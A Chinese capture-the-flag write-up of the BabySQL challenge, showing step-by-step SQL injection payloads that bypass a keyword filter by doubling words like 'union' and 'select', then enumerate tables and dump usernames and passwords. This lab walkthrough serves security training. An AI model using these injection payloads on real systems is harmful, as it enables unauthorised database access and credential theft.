Java教程

[极客大挑战 2019]BabySQL

本文主要是介绍[极客大挑战 2019]BabySQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

打开靶机

来了个加强版本的sql注入,不过我们先输入账号密码看有什么反应

 

整一手万能密码,闭合双引号?username=admin' or '1'='1%23&password=123

然后报错了,说密码错误,然后我们重新构造我们试着查看字段?username=admin&password=123' order by 3

我们可以看到order by 3 变成了der 3,可见其对or和by字段进行了过滤

因此我们可以通过构造双写绕过其对字段的过滤,若想对双写绕过有更多了解,请看这篇博客:双写绕过的原理_wxyccc的博客-CSDN博客_双写绕过

?username=admin' oorr '1'='1%23&password=123

出来了加密的密码,但是没什么卵用,我们继续思考,开始测字段,这里我测试了很多order by 3的双写发现,order,by,or都被过滤掉了,所以我们需要换一种方式来测字段

发现order,by,or都被过滤掉了,我们使用 union select 1,2,3,4 union select 1,2,3 来测试

发现union select字段也被过滤了

可以看到,union,select,也被过滤掉了,我们双写绕过试试

,

http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php?username=admin'  ununionion seselectlect 1,2,3,4 %23&password=123

 

 

 

终于不被过滤了但字段不是4,继续试

http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php?username=admin'  ununionion seselectlect 1,2,3 %23&password=123

确认为3

确认了,是3个字段,我们查看回显点;

1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php
2 ?username=1'  ununionion seselectlect 1,2,3 %23
3 &password=123

发现回显点是2,3;我们查看数据库名字和版本;

1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php
2 ?username=1'  ununionion seselectlect 1,database(),version()%23
3 &password=123

我们用group_concat函数查询一下表geek的字段名

1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php
2 ?username=1'  ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23
3 &password=123

 

我们查询b4bsql表的字段名

1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php
2 ?username=1'  ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'%23
3 &password=123

得到id,username,password

接下来注入请参考一下这篇文章:SQL报错注入攻击中的updatexml()函数_weixin_45738112的博客-CSDN博客_updatexml函数

最后我们查询字段;flag在最后,得到flag

http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php
?username=1'  ununionion seselectlect 1,2,group_concat(username,0x7e,passwoorrd)frfromom geek.b4bsql %23
&password=123

 

这篇关于[极客大挑战 2019]BabySQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!